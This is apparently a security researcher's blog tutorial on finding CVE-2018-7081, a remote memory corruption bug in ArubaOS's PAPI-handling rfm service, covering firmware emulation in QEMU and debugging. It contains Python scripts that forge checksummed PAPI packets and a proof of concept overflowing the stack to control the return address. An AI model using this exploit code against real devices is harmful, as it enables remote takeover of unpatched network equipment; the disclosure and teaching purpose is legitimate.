X-C3LL's Personal Blog :)
Disclaimer: this vulnerability was found in a summer research (June 2018) with Pedro “P3r1k0” Guillén. We reported the vulnerability at November ends, between May and July the fixes where released. I wrote the post back in November (2018) and did not check it again (just to add the CVE identificator and this disclaimer) so If you spot any incorrection, please contact me at twitter (@TheXC3LL).
CVE-2018-7081 is a memory corruption vulnerability present in network-listening components that leads to hijack the program flow and, consequently, to a remote command execution. To see all platforms affected check the official report from Aruba Networks (the original issue was found in the firmware of ArubaOS Mobile Access Switch, but the six major branches of Aruba Mobility Controller are affected). In this article will be described the process followed to find the vulnerability and to build the proof of concept, trying to cover topics from the basics.
This post is aimed to people that begins, so if you are familiarized with the basic concepts, just jump to the part where the PoC is created.
The first step is to extract the binaries from the firmware, and this can be accomplished easyly with the well-known binwalk:
binwalk -e -M ArubaOS_MAS_7.4.1.9_62608
Now we can start working with our binaries. The approach followed by us in our research were to emulate only the minimum binaries needed, instead of the whole firmware. Making only few binaries work will give to you less headaches than a whole firmware. Of course this shortcut can not be taken always, but if you can, skip the path full of pain :)
Our focus is on vulnerabilities that can be exploited remotely (nothing is sexier than a RCE). Aruba devices communicate between them using few protocols, being the most interesting the PAPI communication. Reading this amazing security report from Sven Blumenstein you can see that the PAPI protocol was broken in that time, and PAPI is handled by the msgHandler binary. Juicy info :). Sounds like this is a binary where we want to put an eye:
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ find . -iname msgHandler
./mswitch/bin/msgHandler
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ file ./mswitch/bin/msgHandler
./mswitch/bin/msgHandler: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 2.6.9, stripped
We are going to work with a MIPS big endian, so we need to create the right environment to run the binaries and debug them.
# Move to cpio-root folder before :)
sudo apt-get install "libc6-mips*"
sudo apt-get install qemu qemu-user qemu-user-static gdb-multiarch 'binfmt*'
sudo mkdir /etc/qemu-binfmt
sudo ln -s /usr/mips-linux-gnu /etc/qemu-binfmt/mips
sudo apt-get install binutils debootstrap
cp `whereis qemu-mips-static | cut -d" " -f2` .
Can we run our binary?
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -h
usage: msgHandler [-d] [-n]
-d = enable debug prints.
-n = disable md5 signatures.
-g = disable garbling.
OK! Now we need to know how is this service launched (what paremeters are used). In the post from 2016, the parameters used to run the service are present in the nanny_list file, so check it:
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ grep msgHandler ./mswitch/bin/nanny_list
RUN_ALL RESTART /mswitch/bin/msgHandler -g
Run it:
sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g
Oops! this not work!. We could execute the binary with a “-h” as parameter but with a “-g” is failing, so the problem is not related with the emulation: the binary is being executed but it exits early. QEMU provides us the –strace option to see all syscalls made by the binary, so we can use it to see if it exited “naturally” or was any kind of weird error:
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g
12762 uname(0x76fff268) = 0
12762 brk(NULL) = 0x10001000
(...)
11373 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = -1 errno=2 (No such file or directory)
11373 exit_group(1)
This binary tries to open a file, but it does not exist and fails. We are going to create the requested file and see if the execution advances more from this point (we are inside a chroot, so everything is inside “./”):
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ mkdir ./var && mkdir ./var/log && touch ./var/log/msgHandler.log
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g
14703 uname(0x76fff268) = 0
14703 brk(NULL) = 0x10001000
(...)
14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory)
14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory)
14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory)
(...)
14703 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = 7
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 getpid() = 14703
14703 fstat(7,0x76fff208) = 0
14703 write(7,0x76fff2c0,73) = 73
14703 exit_group(1)
Nice! It worked. If we watch carefully the new trace, we can see that 3 files are missing too:
(...)
14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory)
14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory)
14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory)
(...)
Create the files and repeat:
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ touch ./flash/papik_prev && touch ./flash/papienhsec && touch ./tmp/msgh_debug
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g
(...)
17433 stat("/flash/papik_prev",0x76fff370) = 0
17433 stat("/flash/papienhsec",0x76fff1e8) = 0
17433 stat("/flash/papik",0x76fff298) = -1 errno=2 (No such file or directory)
(...)
Repeat…
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ touch ./flash/papik
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g
(...)
19190 stat("/tmp/.sock",0x76fff450) = -1 errno=2 (No such file or directory)
(...)
Repeat again…
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ mkdir ./tmp/.sock
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g
19693 uname(0x76fff268) = 0
(...)
20709 gettimeofday(1996486360,0,1996485904,240,0,0) = 0
20709 _newselect(8,[7,6,5,4,],[],[],{60,0})
Oh, wait, it worked ? It worked! Our handler for PAPI packets is up and running. This binary will handle incoming PAPI messages and forward them to other services inside ArubaOS, so we can try to run another service that consume this kind of messages (just iterate over nanny_list until find a nice candidate). Lets try to run the rfm binary:
sudo chroot . ./qemu-mips-static ./mswitch/bin/rfm
It worked like a charm. Good boy :)
To build a basic PAPI message and start investigating we can use as base the script provided by Sven Blumenstein in his post. After a bit of reversing, and trial and error, a basic working PAPI message was built:
# Aruba test
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
import sys, socket, hashlib
host = sys.argv[1]
port = int(sys.argv[2])
def aruba_encrypt(s):
return ''.join([chr(ord(c) ^ 0x93) for c in s])
# Packet:
header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\x20" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16 # Empty Checksum
padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload = ( # show configuration; does not matter I Just copied it from the post.
'\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
'\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
'\x74\x69\x6f\x6e\x0a'
)
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))
We can see how the packet is correctly parsed by msgHandler and forwarded to a service in port 8224 (it does not matter at this moment, we only want to forge valid packets):
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g -d
Resetting SIZE = 28
received a message on remote:MHSockFd
Inside else statement
MsgCode:14001
Got external packet getting into HandleRxPacket
IP address ::ffff:7f00:1:57091
::ffff:7f00:1:df03 ae14
Inside switch stat
LOC:Inside msgh_validate_pkt 1
Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1]
Sending to unix socket: port number 8224
Read 1 packets
Ok, now we have the capacity to craft messages than will be forwarded to internal services in our ArubaOS. We can check what ports is opening the RFM binary using strace again:
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/rfm
6101 uname(0x76fff298) = 0
(...)
6101 unlink("/tmp/.sock/8409.sock") = 0
6101 bind(4,1996485896,110,0,0,0) = 0
(...)
6101 unlink("/tmp/.sock/9409.sock") = 0
6101 bind(5,1996485896,110,0,0,0) = 0
(...)
So rfm is using the ports 8409 and 9409. Lets edit our script and see if the PAPI message is forwarded correctly:
# Aruba test - forward packet to RFM service
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
import sys, socket, hashlib
host = sys.argv[1]
port = int(sys.argv[2])
def aruba_encrypt(s):
return ''.join([chr(ord(c) ^ 0x93) for c in s])
# Packet:
header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\xd9" # Destination port for PAPI message (20d9 == 8409--> RFM service)
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16 # Empty Checksum
padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload = ( # show configuration
'\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
'\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
'\x74\x69\x6f\x6e\x0a'
)
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))
If everything is ok…
# At msgHandler:
Resetting SIZE = 28
received a message on remote:MHSockFd
Inside else statement
MsgCode:14001
Got external packet getting into HandleRxPacket
IP address ::ffff:7f00:1:44869
::ffff:7f00:1:af45 b481
Inside switch stat
LOC:Inside msgh_validate_pkt 1
Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1]
Sending to unix socket: port number 8409
PapiSrc :::8444 PapiDest :::8409
StackSrc ::ffff:7f00:1:44869 StackDst ::1:8409
PktType 0x0004(BWR) Seq:1 pktLen=193
Read 1 packets
# At rfm:
(...)
14436 clock_gettime(1,1996486352,268464832,0,0,0) = 0
14436 recvfrom(4,268508736,41000,64,1996486104,1996486144) = 193
14436 brk(0x10047000) = 0x10047000
14436 time(268591104,268508384,1,268508388,0,0) = 1543484545
14436 time(1996485520,1979813083,1,0,0,0) = 1543484545
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 getpid() = 14436
14436 socket(PF_UNIX,SOCK_DGRAM,IPPROTO_IP) = 6
14436 fcntl64(6,F_SETFD,1) = 0
14436 connect(6,0x76065954,16) = -1 errno=2 (No such file or directory)
(...)
At this point we can forge valid PAPI messages that will land on our target service (rfm). This template can be used as a seed for fuzzing the service but… it is not even necessary. With just a little bit of dynamic analysis the vulnerabilities jump into your eyes :)
Just run the binary, attach a debugger, and start poking here and there. One interesting function called to process our PAPI packet is executeAMAPIMethodWithVec:
[0x76141a10]> pd 30 @ sym.executeAMAPIMethodWithVec
/ (fcn) sym.executeAMAPIMethodWithVec 1780
| sym.executeAMAPIMethodWithVec (int arg2);
| ; var int local_10h @ sp+0x10
| ; var int local_14h @ sp+0x14
| ; var int local_18h @ sp+0x18
| ; var int local_20h @ sp+0x20
| ; var int local_b8h @ sp+0xb8
| ; var int local_bch @ sp+0xbc
| ; arg int arg2 @ a1
| 0x0040b1b8 3c1c0fc0 lui gp, 0xfc0
| 0x0040b1bc 279cced8 addiu gp, gp, -0x3128
| 0x0040b1c0 0399e021 addu gp, gp, t9
| 0x0040b1c4 27bdff40 addiu sp, sp, -0xc0
| 0x0040b1c8 afbf00bc sw ra, 0xbc(sp)
| 0x0040b1cc afbe00b8 sw fp, 0xb8(sp)
| 0x0040b1d0 03a0f021 move fp, sp
| 0x0040b1d4 afbc0020 sw gp, 0x20(sp)
| 0x0040b1d8 afc400c0 sw a0, 0xc0(fp)
| 0x0040b1dc afc500c4 sw a1, 0xc4(fp)
| 0x0040b1e0 afc600c8 sw a2, 0xc8(fp)
| 0x0040b1e4 afc700cc sw a3, 0xcc(fp)
| 0x0040b1e8 24020001 addiu v0, zero, 1
| 0x0040b1ec afc20028 sw v0, 0x28(fp)
| 0x0040b1f0 8fc200c4 lw v0, 0xc4(fp)
| 0x0040b1f4 afc200a4 sw v0, 0xa4(fp)
| 0x0040b1f8 8fc200a4 lw v0, 0xa4(fp)
| 0x0040b1fc 2442004c addiu v0, v0, 0x4c
| 0x0040b200 afc200a8 sw v0, 0xa8(fp)
| 0x0040b204 27c20050 addiu v0, fp, 0x50
| 0x0040b208 00402021 move a0, v0
| 0x0040b20c 8fc500a4 lw a1, 0xa4(fp)
| 0x0040b210 2406004c addiu a2, zero, 0x4c
| 0x0040b214 8f9981e8 lw t9, -sym.imp.memcpy(gp) ; [0x10000278:4]=0x415e30 sym.imp.memcpy
| 0x0040b218 00000000 nop
| 0x0040b21c 0320f809 jalr t9
Let’s explore that memcpy. Run QEMU with gdb (sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm
) and in other window gdb (gdb-multiarch ./mswitch/bin/rfm
). Inside gdb, run target remote localhost:1234
to attach to the process and start debugging. Put a breakpoint at 0x0040b214 (where the memcpy is called).
Breakpoint 3, 0x0040b214 in executeAMAPIMethodWithVec ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 764c8394 76fff4c8 000036b1 76fff4c8 10011e40 0000004c 76fff594
t0 t1 t2 t3 t4 t5 t6 t7
R8 764c83a8 00000000 00000000 00000000 00000062 00000000 00000000 0000002b
s0 s1 s2 s3 s4 s5 s6 s7
R16 10011e40 10000430 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0
t8 t9 k0 k1 gp sp s8 ra
R24 0000001d 0040b1b8 00000000 00000000 10008090 76fff478 76fff478 0040b908
sr lo hi bad cause pc
20000010 0000016f 00000003 00000000 00000000 0040b214
fsr fir
00000000 00739300
(gdb) x/5wx $a1
0x10011e40: 0x49720001 0xc0a80101 0x7f000001 0x0000bcfa
0x10011e50: 0x20d920fc
So, 0x4c bytes of our packet will be copied to a memory buffer (if you check it carefully, this 4972… is the magic header). The end of the memory copied corresponds with the part that we called “padding” in our packet:
(gdb) x/wx $a1+0x4c
0x10011e8c: 0x00000000
If we follow the execution at some point another memcpy is called (inside sxdr_read_str) using part of this value as sizer (check register $a2):
Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 764c8394 00000000 00000000 76fff4a8 10011e8f 00000000 10011e8c
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 609943e5 f88d93f1 00000000 00000000 00000000 00000000 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0
t8 t9 k0 k1 gp sp s8 ra
R24 0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244
sr lo hi bad cause pc
20000010 0000016f 00000003 00000000 00000000 76141a08
fsr fir
00000000 00739300
Change the value in our python script and see what happens:
# Aruba test
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
import sys, socket, hashlib
host = sys.argv[1]
port = int(sys.argv[2])
def aruba_encrypt(s):
return ''.join([chr(ord(c) ^ 0x93) for c in s])
# Packet:
header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16 # Empty Checksum
padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload = ( # show configuration
'\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
'\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
'\x74\x69\x6f\x6e\x0a'
)
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))
Launch the new packet and enjoy our 0xFFFF at $a2:
Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 764c8394 000000ff 000000ff 76fff4a8 10011e8f 0000ffff 10011e8c
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 67451717 7e4642e3 00000000 00000000 00000000 00000000 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 0000ffff 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0
t8 t9 k0 k1 gp sp s8 ra
R24 0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244
sr lo hi bad cause pc
20000010 0000016f 00000003 00000000 00000000 76141a08
fsr fir
00000000 00739300
Continue the execution aaaaaand Segfault!
[1] 59357 segmentation fault sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm
So… we have a classic overflow caused by a sizer taken directly from a packet. We can execute memcpys with an arbitrary size… and that is nice :)
Ok, at this moment we have a cool overflow. Lets turn this bug in something useful. We need to look for code where values from the stack are used in a jump. If we control the stack values, we control where the code jumps. Check near 0x0040b890:
[0x0040b890]> pd 7
| ; CODE XREF from sym.executeAMAPIMethodWithVec (0x40b7d4)
| 0x0040b890 8fc200b4 lw v0, 0xb4(fp)
| 0x0040b894 03c0e821 move sp, fp
| 0x0040b898 8fbf00bc lw ra, 0xbc(sp)
| 0x0040b89c 8fbe00b8 lw fp, 0xb8(sp)
| 0x0040b8a0 27bd00c0 addiu sp, sp, 0xc0
| 0x0040b8a4 03e00008 jr ra
\ 0x0040b8a8 00000000 nop
Yup, it is a jump to $ra, and we can control $ra because this lw ra, 0xbc(sp)
is setting $ra with a value from stack, and we can overwrite the stack with our vulnerable memcpy. Lets change the payload string for a de Bruijin string generated with radare2 (ragg2 -P 1000 -r
) and send the new PAPI packet:
Program received signal SIGSEGV, Segmentation fault.
0x0040b24c in executeAMAPIMethodWithVec ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 764c8394 41416e41 7700f4a7 7700f4a7 10021e8e 00000003 10021e8e
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000000 76137000 7613a594 00000001 767fe438 00000000 76141a10
s0 s1 s2 s3 s4 s5 s6 s7
R16 10011e40 10000430 00000418 76557144 10011e40 10010878 76fff6d8 76fff6d0
t8 t9 k0 k1 gp sp s8 ra
R24 000001bd 75f5fdc0 00000000 00000000 10008090 76fff478 76fff478 0040b244
sr lo hi bad cause pc
20000010 0001cf82 000001fb 41416e41 00000000 0040b24c
fsr fir
00000000 00739300
(gdb) x/i $pc
=> 0x40b24c <executeAMAPIMethodWithVec+148>: sw zero,0(v0)
(gdb)
Here the binary is crashing because $v0 holds a non valid address (0x41416e41). This value is contained in our pattern at position 115, so we only need to change this to a valid memory address (remember: we are just building a PoC in QEMU):
# 115
payload = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAm"
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
# 881
payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
Now the execution should not crash until reach our jr ra
at 0x0040b8a4:
Breakpoint 8, 0x0040b8a4 in executeAMAPIMethodWithVec ()
(gdb) x/i $ra
0x41674141: Cannot access memory at address 0x41674140
Nailed! We have an arbitrary control of that jump: we can hijack the program flow and jump where we want :)
At this point our PoC looks like this:
# Aruba test
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
import sys, socket, hashlib
host = sys.argv[1]
port = int(sys.argv[2])
def aruba_encrypt(s):
return ''.join([chr(ord(c) ^ 0x93) for c in s])
# Packet:
header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16 # Empty Checksum
padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# 115
payload = "A" * 95 # Padding 1
payload += "B" * 4 # Address where we want to jump
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
# 881
payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))
